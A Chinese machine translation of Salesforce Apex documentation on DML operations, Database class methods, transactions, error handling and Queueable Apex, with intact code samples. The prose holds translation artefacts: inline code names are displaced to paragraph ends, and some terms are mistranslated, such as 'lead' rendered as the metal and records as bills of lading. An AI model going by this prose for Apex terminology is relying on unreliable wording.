这两个选项之间的一个区别是,通过使用 Database 类方法,您可以 可以指定在出现错误时是否允许部分记录处理 遇到。您可以通过传递额外的第二个布尔参数来实现此目的。如果你 指定此参数,如果 a 记录 失败,其余的 DML 操作仍然可以成功。此外,除了例外,一个 result 对象数组(如果只传入一个 sObject,则返回一个 result 对象) 包含每个操作的状态和遇到的任何错误。默认情况下,此 可选参数是 ,这意味着如果 至少一个 sObject 无法处理,所有剩余的 sObject 都不会处理,并且 对于导致失败的记录,将引发异常。falsetrue

以下内容可帮助您决定何时要使用 DML 语句或 Database 类 方法。

  • 如果您希望在批量 DML 处理期间发生的任何错误,请使用 DML 语句 作为 Apex 异常引发,该异常会立即中断控制流(通过使用块)。此行为是 与大多数数据库过程语言中处理异常的方式类似。try. . .catch
  • 如果要允许批量 DML 部分成功,请使用 Database 类方法 操作 – 如果记录失败,DML 操作的其余部分仍可 成功。然后,应用程序可以检查被拒绝的记录,并可能重试 操作。使用此窗体时,可以编写从不引发 DML 的代码 异常错误。相反,您的代码可以使用适当的 results 数组来判断 成功或失败。请注意,Database 方法还包括支持 引发异常,类似于 DML 语句。

注意

除了少数操作外,大多数操作在两者之间重叠。

  • 操作仅 可用作 Database 类方法,而不是 DML 语句。convertLead
  • Database 类还提供了不作为 DML 语句提供的方法,例如 作为事务控制和回滚的方法,清空回收站,以及 与 SOQL 查询相关的方法。

作为原子事务的 DML 操作

DML 操作在事务中执行。所有 DML 操作 在事务中,要么成功完成,要么在一个操作中发生错误,则整个 事务将回滚,并且不会将任何数据提交到数据库。事务的边界 可以是触发器、类方法、匿名代码块、Apex 页面或自定义 Web 服务 方法。

在事务边界内发生的所有操作都表示一个操作单元。 这也适用于从事务边界对外部代码进行的调用,例如 由于在事务边界中运行的代码而触发的类或触发器。为 例如,请考虑以下操作链:自定义 Apex Web 服务方法调用方法 在执行某些 DML 操作的类中。在这种情况下,所有更改都将提交到 只有在事务中的所有操作完成执行后才使用数据库,并且不会导致任何错误。 如果在任何中间步骤中发生错误,则将回滚所有数据库更改,并且 事务未提交。

DML 操作

使用 DML,您可以插入新记录并将其提交到数据库。您还可以 更新现有记录的字段值。

  • 插入和更新记录
    使用 DML,您可以插入新记录并将其提交到数据库。同样,您可以更新现有记录的字段值。
  • Upserting 提单记录
  • 合并记录
  • 删除记录
  • 恢复已删除的记录
  • 转换潜在客户

插入和更新记录

使用 DML,您可以插入新记录并将其提交到数据库。同样,你 可以更新现有记录的字段值。

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对 客户实施。

本示例插入三条客户记录并更新现有客户记录。第一 创建三个帐户 sObject 并将其添加到列表中。插入语句批量插入 帐户列表作为参数。然后,更新第二个客户记录, 更新计费城市,并调用 update 语句以将更改保留在 数据库。

Account[] accts = new List<Account>();
for(Integer i=0;i<3;i++) {
    Account a = new Account(Name='Acme' + i, 
                            BillingCity='San Francisco');
    accts.add(a);
}
Account accountToUpdate;
try {
    insert accts;        
    
    // Update account Acme2.
    accountToUpdate = 
        [SELECT BillingCity FROM Account 
         WHERE Name='Acme2' AND BillingCity='San Francisco'
         LIMIT 1];
    // Update the billing city.
    accountToUpdate.BillingCity = 'New York';
    // Make the update call.
    update accountToUpdate;
} catch(DmlException e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

// Verify that the billing city was updated to New York.
Account afterUpdate = 
    [SELECT BillingCity FROM Account WHERE Id=:accountToUpdate.Id];
System.assertEquals('New York', afterUpdate.BillingCity);

插入相关记录

如果关系已经存在,则可以插入与现有记录相关的记录 在两个对象之间定义,例如查找或主从关系。一个 记录通过外键 ID 与相关记录相关联。例如 插入新联系人时,可以指定联系人的相关客户记录 通过设置字段的值。AccountId

本示例通过设置联系人的字段将联系人添加到客户(相关记录)中。联系和 帐户通过查找关系链接。AccountId

try {
    Account acct = new Account(Name='SFDC Account');
    insert acct;

    // Once the account is inserted, the sObject will be 
    // populated with an ID.
    // Get this ID.
    ID acctID = acct.ID;

    // Add a contact to this account.
    Contact con = new Contact(
        FirstName='Joe',
        LastName='Smith',
        Phone='415.555.1212',
        AccountId=acctID);
    insert con;
} catch(DmlException e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}

更新相关记录

无法使用对 DML 操作的相同调用来更新相关记录上的字段 并且需要单独的 DML 调用。例如,如果插入新联系人,您可以 通过设置字段的值来指定联系人的相关客户记录。但是,您无法更改 帐户的名称,而不使用单独的 DML 调用更新帐户本身。 同样,在更新联系人时,如果您还想更新联系人的 相关帐户,您必须进行两次 DML 调用。以下示例更新了一个 使用两个语句的联系人及其相关帐户。

AccountIdupdate

try {
    // Query for the contact, which has been associated with an account.
    Contact queriedContact = [SELECT Account.Name 
                              FROM Contact 
                              WHERE FirstName = 'Joe' AND LastName='Smith'
                              LIMIT 1];

    // Update the contact's phone number
    queriedContact.Phone = '415.555.1213';

    // Update the related account industry
    queriedContact.Account.Industry = 'Technology';

    // Make two separate calls 
    // 1. This call is to update the contact's phone.
    update queriedContact;
    // 2. This call is to update the related account's Industry field.
    update queriedContact.Account; 
} catch(Exception e) {
    System.debug('An unexpected error has occurred: ' + e.getMessage());
}
  • 使用外部 ID 关联记录 使用父记录上的自定义外部 ID
    字段添加相关记录。通过外部 ID 字段关联记录是使用记录 ID 的替代方法。仅当已为所涉及的对象定义了关系(如主从-细节或查找)时,才能将相关记录添加到另一条记录中。
  • 使用外键在单个语句中创建父记录和子记录

使用外部 ID 关联记录

使用父记录上的自定义外部 ID 字段添加相关记录。 通过外部 ID 字段关联记录是使用记录 ID 的替代方法。你 只有当关系(如主从-细节或 lookup) 已为所涉及的对象定义。

重要

在可能的情况下,我们更改了非包容性条款,以符合我们的 平等的公司价值观。我们保留了某些条款,以避免对 客户实施。此示例将新商机与现有客户关联。帐户 sObject 具有 标记为外部 ID 的自定义字段。商机记录与客户记录相关联 通过自定义外部 ID 字段。该示例假定:

  • Account sObject 具有一个名为 MyExtID 的文本类型的外部 ID 字段
  • 客户记录存在于以下位置MyExtID__c = ‘SAP111111’

在插入新商机之前,客户记录将作为 通过 Opportunity.Account 关系字段的 sObject。

Opportunity newOpportunity = new Opportunity(
    Name='OpportunityWithAccountInsert',
    StageName='Prospecting',
    CloseDate=Date.today().addDays(7));

// Create the parent record reference.
// An account with external ID = 'SAP111111' already exists.
// This sObject is used only for foreign key reference
// and doesn't contain any other fields.
Account accountReference = new Account(
    MyExtID__c='SAP111111');                

// Add the account sObject to the opportunity.
newOpportunity.Account = accountReference;

// Create the opportunity.
Database.SaveResult results = Database.insert(newOpportunity);

前面的示例执行插入操作,但您也可以通过 执行更新或更新插入时的外部 ID 字段。如果父记录不存在,则 可以使用单独的 DML 语句或使用相同的 DML 语句创建它,如使用外键在单个语句中创建父记录和子记录中所示。

在单个语句中使用 外键

您可以使用外部 ID 字段作为外键来创建父记录和子记录 在单个步骤中执行不同的 sObject 类型,而不是创建父记录 首先,查询其 ID,然后创建子记录。为此,请执行以下操作:

  • 创建子 sObject 并填充其必填字段,并根据需要 其他领域。
  • 创建仅用于设置父外部的父引用 sObject 子 sObject 上的键引用。此 sObject 只有外部 ID 已定义字段,未设置其他字段。
  • 将子 sObject 的外键字段设置为父引用 s您刚刚创建的对象。
  • 创建另一个要传递给语句的父 sObject。此 sObject 必须具有 除了 外部 ID 字段。insert
  • 通过向它传递一个数组来调用 要创建的 sObjects。父 sObject 必须位于 数组,即父数组的数组索引必须低于 儿童索引。insert

您可以创建最多 10 级的相关记录。此外,相关的 在单个调用中创建的记录必须具有不同的 sObject 类型。查看更多 信息,请参阅为不同对象创建记录 SOAP API 开发人员指南中的类型。以下示例说明如何使用父帐户创建商机 同样的陈述。示例 创建一个 Opportunity sObject 并填充其中的一些字段,然后创建两个 Account 对象。第一个帐户仅用于外键关系,而 第二个是用于帐户创建,并设置了帐户字段。两个帐户 设置外部 ID 字段 。 接下来,示例调用 向它传递一个 sObject 数组。数组中的第一个元素是父元素 sObject,第二个是机会 sObject。该语句创建 Opportunity 及其父帐户只需一步即可完成。最后,该示例检查 结果,并将所创建记录的 ID 写入调试日志,或第一个 如果记录创建失败,则出错。此示例需要 调用的帐户 MyExtID。

insertMyExtID__cDatabase.insertDatabase.insert

public class ParentChildSample {
    public static void InsertParentChild() {
        Date dt = Date.today();
        dt = dt.addDays(7);
        Opportunity newOpportunity = new Opportunity(
            Name='OpportunityWithAccountInsert',
            StageName='Prospecting',
            CloseDate=dt);
        
        // Create the parent reference.
        // Used only for foreign key reference
        // and doesn't contain any other fields.
        Account accountReference = new Account(
            MyExtID__c='SAP111111');                
        newOpportunity.Account = accountReference;
        
        // Create the Account object to insert.
        // Same as above but has Name field.
        // Used for the insert.
        Account parentAccount = new Account(
            Name='Hallie',
            MyExtID__c='SAP111111');      
        
        // Create the account and the opportunity.
        Database.SaveResult[] results = Database.insert(new SObject[] {
            parentAccount, newOpportunity });
        
        // Check results.
        for (Integer i = 0; i < results.size(); i++) {
            if (results[i].isSuccess()) {
            System.debug('Successfully created ID: '
                  + results[i].getId());
            } else {
            System.debug('Error: could not create sobject '
                  + 'for array element ' + i + '.');
            System.debug('   The error reported was: '
                  + results[i].getErrors()[0].getMessage() + '\n');
            }
        }
    }
}

Upserting 提单记录

使用该操作,您可以 在一次通话中插入或更新现有记录。确定记录是否已 存在、语句或 Database 方法 使用记录的 ID 作为键来匹配记录、自定义外部 ID 字段或 idLookup 属性设置为 true 的标准字段。

upsertupsert

  • 如果键不匹配,则创建新的对象记录。
  • 如果键匹配一次,则更新现有对象记录。
  • 如果键多次匹配,则会生成错误和对象 记录既不会插入也不会更新。

注意

仅当自定义字段具有唯一将“ABC”和“abc”视为重复时,自定义字段匹配才不区分大小写 值(不区分大小写)属性被选为字段的一部分 定义。如果是这种情况,则“ABC123”与 “abc123。”有关详细信息,请参阅创建 自定义字段。

例子

以下示例更新位于 城市以前称为孟买,并且还插入了一个位于 San 的新帐户 弗朗西斯科:

Account[] acctsList = [SELECT Id, Name, BillingCity
                        FROM Account WHERE BillingCity = 'Bombay'];
for (Account a : acctsList) {
    a.BillingCity = 'Mumbai';
}
Account newAcct = new Account(Name = 'Acme', BillingCity = 'San Francisco');
acctsList.add(newAcct);
try {
    upsert acctsList;
} catch (DmlException e) {
    // Process exception here
}

注意

有关处理的详细信息,请参阅批量 DML 异常处理。DmlException

下一个示例使用该方法更新插入传入的潜在顾客集合。此示例允许 记录的部分处理,即如果某些记录处理失败, 其余记录仍会插入或更新。它遍历结果和 将新任务添加到已成功处理的每条记录中。任务 sObjects 是 保存在列表中,然后批量插入。此示例后面跟着一个测试类 其中包含用于测试示例的测试方法。Database.upsert

/* This class demonstrates and tests the use of the
 * partial processing DML operations */ 

public class DmlSamples {

   /* This method accepts a collection of lead records and 
      creates a task for the owner(s) of any leads that were 
      created as new, that is, not updated as a result of the upsert
      operation */
   public static List<Database.upsertResult> upsertLeads(List<Lead> leads)  {

      /* Perform the upsert. In this case the unique identifier for the
         insert or update decision is the Salesforce record ID. If the 
         record ID is null the row will be inserted, otherwise an update
         will be attempted. */
      List<Database.upsertResult> uResults = Database.upsert(leads,false);

      /* This is the list for new tasks that will be inserted when new 
         leads are created. */
      List<Task> tasks = new List<Task>();
      for(Database.upsertResult result:uResults) {
         if (result.isSuccess() && result.isCreated()) 
              tasks.add(new Task(Subject = 'Follow-up', WhoId = result.getId()));
      }

      /* If there are tasks to be inserted, insert them */
      Database.insert(tasks);

      return uResults;
   }
}
@isTest
private class DmlSamplesTest {
   public static testMethod void testUpsertLeads() {
        /* We only need to test the insert side of upsert */
      List<Lead> leads = new List<Lead>();

      /* Create a set of leads for testing */
      for(Integer i = 0;i < 100; i++) {
         leads.add(new Lead(LastName = 'testLead', Company = 'testCompany'));
      }

      /* Switch to the runtime limit context */
      Test.startTest();

      /* Exercise the method */
      List<Database.upsertResult> results = DmlSamples.upsertLeads(leads);

      /* Switch back to the test context for limits */
      Test.stopTest();

      /* ID set for asserting the tasks were created as expected */
      Set<Id> ids = new Set<Id>();

      /* Iterate over the results, asserting success and adding the new ID
         to the set for use in the comprehensive assertion phase below. */
      for(Database.upsertResult result:results) {
         System.assert(result.isSuccess());
         ids.add(result.getId());
      }

      /* Assert that exactly one task exists for each lead that was inserted. */
      for(Lead l:[SELECT Id, (SELECT Subject FROM Tasks) FROM Lead WHERE Id IN :ids]) {
         System.assertEquals(1,l.tasks.size());
      }
   }
}

使用外部 ID 可以减少 代码中 DML 语句的数量,并帮助您避免达到调控器限制 (见执行 调速器和限制)。下一个示例使用 Asset 对象上的外部 ID 字段来维护一对一关系 在资产和商机明细项之间。upsertupsertLine_Item_Id__c

注意

在运行此示例之前,请在名为 Asset 对象的对象上创建一个自定义文本字段,并将其标记为外部 同上。有关自定义字段的信息,请参阅 Salesforce 联机帮助。Line_Item_Id__c

public void upsertExample() {
    Opportunity opp = [SELECT Id, Name, AccountId, 
                              (SELECT Id, PricebookEntry.Product2Id, PricebookEntry.Name 
                               FROM OpportunityLineItems)
                       FROM Opportunity 
                       WHERE HasOpportunityLineItem = true 
                       LIMIT 1]; 

    Asset[] assets = new Asset[]{}; 

    // Create an asset for each line item on the opportunity
    for (OpportunityLineItem lineItem:opp.OpportunityLineItems) {

        //This code populates the line item Id, AccountId, and Product2Id for each asset
        Asset asset = new Asset(Name = lineItem.PricebookEntry.Name,
                                Line_Item_ID__c = lineItem.Id,
                                AccountId = opp.AccountId,
                                Product2Id = lineItem.PricebookEntry.Product2Id);

        assets.add(asset);
    }
 
    try {
        upsert assets Line_Item_ID__c;  // This line upserts the assets list with
                                        // the Line_Item_Id__c field specified as the 
                                        // Asset field that should be used for matching
                                        // the record that should be upserted. 
    } catch (DmlException e) {
        System.debug(e.getMessage());
    }
}

合并记录

当您在 数据库,清理数据并合并记录可能会 是个好主意。您最多可以合并同一 sObject 的三条记录 类型。操作 最多将三条记录合并到其中一条记录中,删除其他记录, 并重新处理任何相关记录。merge

下面演示如何 将现有客户记录合并到主账户中。帐户 要合并,则具有相关联系人,该联系人将移至主帐户 合并操作后的记录。此外,合并后,合并记录 被删除,数据库中仅保留一条记录。这个例子 首先创建一个包含两个帐户的列表,然后插入该列表。然后 它执行查询以从数据库中获取新的客户记录, 并将联系人添加到要合并的客户中。接下来,它合并 两个帐户。最后,它验证联系人是否已移动 到主账户,第二个账户已被删除。

// Insert new accounts
List<Account> ls = new List<Account>{
    new Account(name='Acme Inc.'),
        new Account(name='Acme')
        };                                        
insert ls;

// Queries to get the inserted accounts 
Account masterAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
Account mergeAcct = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1];

// Add a contact to the account to be merged
Contact c = new Contact(FirstName='Joe',LastName='Merged');
c.AccountId = mergeAcct.Id;
insert c;

try {
    merge masterAcct mergeAcct;
} catch (DmlException e) {
    // Process exception
    System.debug('An unexpected error has occurred: ' + e.getMessage()); 
}

// Once the account is merged with the master account,
// the related contact should be moved to the master record.
masterAcct = [SELECT Id, Name, (SELECT FirstName,LastName From Contacts) 
              FROM Account WHERE Name = 'Acme Inc.' LIMIT 1];
System.assert(masterAcct.getSObjects('Contacts').size() > 0);
System.assertEquals('Joe', masterAcct.getSObjects('Contacts')[0].get('FirstName'));
System.assertEquals('Merged', masterAcct.getSObjects('Contacts')[0].get('LastName'));

// Verify that the merge record got deleted
Account[] result = [SELECT Id, Name FROM Account WHERE Id=:mergeAcct.Id];
System.assertEquals(0, result.size());

第二个例子 与前一个类似,只是它使用方法(而不是 声明)。这 的最后一个参数设置为 此操作中遇到的任何错误都会在合并结果中返回 而不是获得异常。该示例将两个帐户合并到 主帐户并检索返回的结果。示例 创建一个主帐户和两个副本,其中一个具有子帐户 联系。它验证在合并后联系人是否移动到 主帐户。Database.mergemergeDatabase.mergefalse

// Create master account
Account master = new Account(Name='Account1');
insert master;

// Create duplicate accounts
Account[] duplicates = new Account[]{
    // Duplicate account 
    new Account(Name='Account1, Inc.'),
    // Second duplicate account
    new Account(Name='Account 1')
};
insert duplicates;

// Create child contact and associate it with first account
Contact c = new Contact(firstname='Joe',lastname='Smith', accountId=duplicates[0].Id);
insert c;



// Get the account contact relation ID, which is created when a contact is created on "Account1, Inc." 
AccountContactRelation resultAcrel = [SELECT Id FROM AccountContactRelation WHERE ContactId=:c.Id LIMIT 1];


// Merge accounts into master
Database.MergeResult[] results = Database.merge(master, duplicates, false);

for(Database.MergeResult res : results) {
    if (res.isSuccess()) {
        // Get the master ID from the result and validate it
        System.debug('Master record ID: ' + res.getId());
        System.assertEquals(master.Id, res.getId());              
        
        // Get the IDs of the merged records and display them
        List<Id> mergedIds = res.getMergedRecordIds();
        System.debug('IDs of merged records: ' + mergedIds);                
        
        // Get the ID of the reparented record and 
        // validate that this the contact ID.
        System.debug('Reparented record ID: ' + res.getUpdatedRelatedIds());

	 // Make sure there are two IDs (contact ID and account contact relation ID); the order isn't defined
        System.assertEquals(2, res.getUpdatedRelatedIds().size() );    
        boolean flag1 = false;
	boolean flag2 = false;


    	// Because the order of the IDs isn't defined, the ID can be at index 0 or 1 of the array	     
        if (resultAcrel.id == res.getUpdatedRelatedIds()[0] || resultAcrel.id == res.getUpdatedRelatedIds()[1] )
            	flag1 = true;
        
       if (c.id == res.getUpdatedRelatedIds()[0] || c.id == res.getUpdatedRelatedIds()[1] )
            flag2 = true;
            
        System.assertEquals(flag1, true); 
        System.assertEquals(flag2, true);  
            
    }
    else {
        for(Database.Error err : res.getErrors()) {
            // Write each error to the debug output
            System.debug(err.getMessage());
        }
    }
}

合并注意事项

合并 sObject 时 记录中,请考虑以下规则和准则:

  • 只能合并潜在顾客、联系人、案例和客户。请参阅不支持 DML 操作的 sObject。
  • 您可以传递一个主记录和最多两个附加的 sObject 记录到单个方法。merge
  • 使用 Apex 合并操作时,主记录上的字段值始终取代 要合并的记录上的相应字段值。要保留合并的 记录字段值,只需在主 sObject 上设置此字段值即可 执行合并。
  • 外部 ID 字段不能与 一起使用。merge

删除记录

在数据库中保留记录后,可以使用该操作删除这些记录。已删除的记录不会被删除 永久来自 Salesforce,但它们将被放置在回收站中 15 天,从 它们可以恢复的地方。恢复已删除的记录将在后面的部分中介绍。delete

以下示例删除名为“DotCom”的所有帐户:

Account[] doomedAccts = [SELECT Id, Name FROM Account 
                         WHERE Name = 'DotCom']; 
try {
    delete doomedAccts;
} catch (DmlException e) {
    // Process exception here
}

注意

有关处理的详细信息,请参阅批量 DML 异常处理。DmlException

参考 删除和还原记录时的完整性

该操作支持级联删除。如果 删除父对象时,会自动删除其子对象,只要每个子对象 可以删除记录。

delete

例如,如果您删除案例记录,则 Apex 会自动 删除与之关联的任何 CaseComment、CaseHistory 和 CaseSolution 记录 箱。但是,如果特定子记录不可删除或当前正在删除 used,则对 父案例记录失败。delete该操作还原以下类型关系的记录关联:

undelete

  • 父帐户(如“父帐户”字段中指定) 在帐户上)
  • 间接客户联系人关系(如“相关客户”中指定) 联系人上的相关列表或联系人上的相关联系人相关列表 帐户)
  • 父案例(如 案例)
  • 已翻译解决方案的主解决方案(如主解决方案中指定的那样) 解决方案上的解决方案字段)
  • 联系人的经理(如“报告对象”字段中指定) 在联系人上)
  • 与资产相关的产品(在资产的“产品”字段中指定)
  • 与报价单相关的商机(在报价单的 Opportunity 字段中指定)
  • 所有自定义查找关系
  • 帐户和关系组上的关系组成员,以及一些 异常
  • 标签
  • 文章的类别、发布状态和作业

注意

Salesforce的 仅恢复尚未替换的查找关系。例如,如果 在原始产品记录之前,资产与不同的产品相关 如果未删除,则不会恢复该资产-产品关系。

恢复已删除的记录

删除记录后,这些记录将放置在回收站中 15 天, 之后,它们将被永久删除。当记录仍在回收中时 Bin,您可以使用该操作恢复它们。如果您不小心删除了某些要保留的记录,请还原它们 从回收站。undelete

以下示例取消删除名为“Universal Containers”的帐户。关键字查询顶部的所有行 级别和聚合关系,包括已删除的记录和存档的记录 活动。

ALL ROWS

Account a = new Account(Name='Universal Containers');
insert(a);
insert(new Contact(LastName='Carter',AccountId=a.Id));
delete a;

Account[] savedAccts = [SELECT Id, Name FROM Account WHERE Name = 'Universal Containers' ALL ROWS]; 
try {
    undelete savedAccts;
} catch (DmlException e) {
    // Process exception here
}

注意

有关处理的详细信息,请参阅批量 DML 异常处理。DmlException

取消删除注意事项

使用该语句时,请注意以下事项。

undelete

  • 您可以取消删除因合并而删除的记录。 但是,合并会重新设置子对象的父级,而该重属不能 被撤消。
  • 标识已删除的记录,包括由于 合并,使用参数 替换为 SOQL 查询。ALL ROWS
  • 请参阅删除和恢复记录时的参照完整性。

转换潜在客户

DML 操作 将潜在顾客转换为客户和联系人,以及(可选) 机会。convertLead convertLead仅作为 班级;它不能作为 DML 使用 陈述。Database

转换潜在客户涉及以下基本步骤:

  1. 您的应用程序确定要转换的任何潜在顾客的 ID。
  2. (可选)应用程序确定要进入的任何帐户的 ID 合并潜在客户。应用程序可以使用 SOQL 搜索与 潜在顾客名称,如以下示例所示:SELECT Id, Name FROM Account WHERE Name='CompanyNameOfLeadBeingMerged'
  3. (可选)应用程序将一个或多个联系人的 ID 确定为 合并潜在客户。应用程序可以使用 SOQL 搜索 匹配主要联系人姓名,如下所示 例:SELECT Id, Name FROM Contact WHERE FirstName='FirstName' AND LastName='LastName' AND AccountId = '001...'
  4. (可选)应用程序确定是否应从 线索。
  5. 应用程序使用查询 () 来获取已转换的潜在客户 地位。SELECT … FROM LeadStatus WHERE IsConverted=true
  6. 应用程序调用 。convertLead
  7. 应用程序循环访问返回的一个或多个结果,并检查每个结果 LeadConvertResult 对象,用于确定每个 铅。
  8. (可选)在转换队列拥有的潜在顾客时,必须指定所有者。 这是因为客户和联系人不能归队列所有。即使你是 指定现有客户或联系人时,仍必须指定所有者。

此示例演示如何使用该方法转换潜在顾客。它插入了一条新的引线, 创建一个对象,设置其 status 设置为 converted,然后将其传递给该方法。最后,它验证转换 成功了。Database.convertLeadLeadConvertDatabase.convertLead

Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;

Database.LeadConvert lc = new database.LeadConvert();
lc.setLeadId(myLead.id);

LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);

Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());

转换潜在客户注意事项

  • 字段映射:系统自动将标准潜在客户字段映射到标准 客户、联系人和商机字段。对于自定义潜在客户字段,您的 Salesforce 管理员可以指定它们如何映射到自定义帐户、联系人、 和机会字段。有关字段映射的更多信息,请参阅 Salesforce 帮助。
  • 合并字段:如果数据合并到现有客户和联系人对象中,则仅 目标对象中的空字段将被覆盖 – 现有数据 (包括 ID)不会被覆盖。唯一的例外是,如果您在 LeadConvert 对象设置为 true,在这种情况下,目标联系人对象中的字段将覆盖 字段中的内容 源 LeadConvert 对象。setOverwriteLeadSourceLeadSourceLeadSource
  • 记录类型:如果组织使用记录类型,则默认记录类型为 新所有者将分配给潜在顾客转换期间创建的记录。默认 转换潜在顾客的用户的记录类型决定了潜在顾客来源值 在转换期间可用。如果所需的潜在客户源值不是 available,将值添加到用户转换 铅。有关记录类型的更多信息,请参阅 Salesforce 帮助。
  • 选择列表值:系统为帐户分配默认选择列表值, 联系人和机会,在映射任何标准潜在客户选择列表字段时 空白。如果您的组织使用记录类型,则空白值将替换为 新记录所有者的默认选择列表值。
  • 自动订阅 Feed:当您将潜在客户转化为新帐号时, 联系人和商机,潜在客户所有者已取消订阅潜在客户记录的 聊天提要。主要所有者、生成记录的所有者以及 已订阅的潜在客户不会自动订阅 生成的记录,除非它们在 Chatter 摘要设置。他们必须启用自动订阅才能查看 更改其新闻源中的客户、联系人和商机记录。自 订阅他们创建的记录,用户必须启用自动 遵循我在他们的个人设置中创建选项的记录。一个 用户可以订阅记录,以便对记录的更改显示在新闻中 用户主页上的源。这是了解最新情况的有用方法 对 Salesforce 中记录的更改。

异常处理

如果出现问题,DML 语句将返回运行时异常 在执行 DML 操作期间在数据库中。您可以 通过包装 DML 语句来处理代码中的异常 在 try-catch 块中。以下示例在 try-catch 中包含 DML 语句 块。insert

Account a = new Account(Name='Acme');
try {
    insert a;
} catch(DmlException e) {
    // Process exception here
}

Database 类方法 Result 对象

数据库类方法返回数据操作的结果。 这些结果对象包含有关数据操作的有用信息 对于每条记录,例如操作是否成功, 以及任何错误信息。每种类型的操作都返回一个特定的 result 对象类型,如下所述。

操作Result 类
插入、更新SaveResult 类
更新插入UpsertResult 类
合并MergeResult 类
删除DeleteResult 类
取消删除UndeleteResult 类
convertLead(转换铅)LeadConvertResult 类
emptyRecycleBinEmptyRecycleBinResult 类

返回的数据库错误

而 DML 语句总是在操作时返回异常 正在处理的其中一条记录失败,操作是 回滚所有记录,Database 类方法可以执行 因此,或允许记录处理部分成功。在后一种情况下 部分处理,Database 类方法不会抛出异常。 相反,它们会返回发生的任何错误的错误列表 在失败的记录上。

这些错误提供有关失败的详细信息,并包含在内 在 Database 类方法的结果中。例如,返回一个对象 插入和更新操作。与所有返回的结果一样,包含一个调用的方法,该方法返回对象列表,表示 遇到的错误(如果有)。SaveResultSaveResultgetErrorsDatabase.Error

此示例演示如何获取 操作返回的错误。它插入两个帐户,其中一个没有 具有必填的 Name 字段,并将第二个参数设置为 : 。这将设置部分处理 选择。接下来,该示例检查调用是否有任何失败,然后迭代 通过错误,将错误信息写入调试日志。Database.insertfalseDatabase.insert(accts, false);if (!sr.isSuccess())

// Create two accounts, one of which is missing a required field
Account[] accts = new List<Account>{
    new Account(Name='Account1'),
    new Account()};
Database.SaveResult[] srList = Database.insert(accts, false);

// Iterate through each returned result
for (Database.SaveResult sr : srList) {
    if (!sr.isSuccess()) {
        // Operation failed, so get all errors                
        for(Database.Error err : sr.getErrors()) {
            System.debug('The following error has occurred.');                    
            System.debug(err.getStatusCode() + ': ' + err.getMessage());
            System.debug('Fields that affected this error: ' + err.getFields());
        }
    }
}

异步Apex

Apex 提供了多种异步运行 Apex 代码的方法。选择 最适合您需求的异步 Apex 功能。

下表列出了异步 Apex 功能以及何时使用每个功能。

异步 Apex 功能何时使用
可排队的Apex启动长时间运行的操作并获取其 ID将复杂类型传递给作业链接作业
预定Apex计划 Apex 类按特定计划运行
批处理Apex对于需要批量执行的具有大量数据的长时间运行的作业,例如 作为数据库维护作业对于需要比常规事务允许的更大的查询结果的作业
未来方法当您有一个长时间运行的方法并且需要防止延迟 Apex 时 交易对外部 Web 服务进行标注时隔离 DML 操作并绕过混合保存 DML 错误
  • 可排队的 Apex 使用界面控制异步 Apex
    进程。通过此接口,您可以将作业添加到队列中并对其进行监视。与使用未来方法相比,使用该接口是运行异步 Apex 代码的增强方式。Queueable
  • Apex 调度程序
  • 批处理Apex
  • 未来方法

可排队的Apex

使用该接口控制异步 Apex 进程。通过此接口,您可以添加 作业到队列中并对其进行监视。使用该界面是运行 异步 Apex 代码与使用未来方法的比较。

Queueable

长时间运行的 Apex 进程,例如大量数据库操作或 外部 Web 服务标注,可以通过实现接口并向 Apex 添加作业来异步运行 作业队列。这样,您的异步 Apex 作业就会在后台自行运行 线程,并且不会延迟主 Apex 逻辑的执行。每个排队的作业都运行 当系统资源可用时。使用接口方法的一个好处是一些 调控器限制高于同步 Apex 的限制,例如堆大小限制。QueueableQueueable

注意

如果 Apex 事务回滚,则任何排队等待执行的可排队作业 交易不被处理。

可排队作业与将来的方法类似,因为它们都排队等待 执行,但它们为您提供了这些额外的好处。

  • 获取作业的 ID:通过调用该方法提交作业时,该方法将返回 新作业的 ID。此 ID 对应于 AsyncApexJob 记录的 ID。 使用此 ID 通过 Salesforce UI 识别和监控您的作业 (Apex Jobs 页面),或以编程方式查询您的记录 异步Apex作业。System.enqueueJob
  • 使用非基元类型:可排队类可以包含 非原始数据类型,例如 sObject 或自定义 Apex 类型。那些对象 可以在作业执行时访问。
  • 链接作业:您可以通过启动第二个作业将一个作业链接到另一个作业 从正在运行的作业。如果您的进程依赖于另一个进程,则链接作业很有用 进程首先运行。

您可以设置链接的可排队作业的最大堆栈深度,覆盖默认值 开发人员和试用版组织中的限制为 5 个。

注意

声明的变量包括 被序列化和反序列化忽略,并且该值在 可排队的Apex。transient

将可排队作业添加到异步执行队列

此示例实现接口。此示例中的方法插入一个新帐户。该方法用于 将作业添加到 队列。

QueueableexecuteSystem.enqueueJob(queueable)

public class AsyncExecutionExample implements Queueable {
    public void execute(QueueableContext context) {
        Account a = new Account(Name='Acme',Phone='(415) 555-1212');
        insert a;        
    }
}

若要将此类添加为队列中的作业,请调用 方法:

ID jobID = System.enqueueJob(new AsyncExecutionExample());

提交可排队类以供执行后,作业将添加到队列中 并将在系统资源可用时进行处理。您可以监控 通过查询 AsyncApexJob 或通过用户以编程方式获取作业的状态 通过输入“快速查找”框,然后选择“Apex”,在“设置”中界面 工作Apex Jobs

若要查询有关已提交作业的信息,请在 AsyncApexJob 上执行 SOQL 查询 通过筛选方法返回的作业 ID。此示例使用 jobID 变量 这是在前面的示例中获得的。System.enqueueJob

AsyncApexJob jobInfo = [SELECT Status,NumberOfErrors FROM AsyncApexJob WHERE Id=:jobID];

与将来的作业类似,可排队的作业不处理批处理,因此 已处理的批次和总批次数始终为零。

添加具有指定最小延迟的可排队作业

使用该方法将可排队作业添加到具有指定 最小延迟(0-10 分钟)。在 Apex 测试期间,延迟将被忽略。System.enqueueJob(queueable, delay)

请参阅 Apex 中的 System.enqueueJob(queueable, delay) 参考指南。

警告

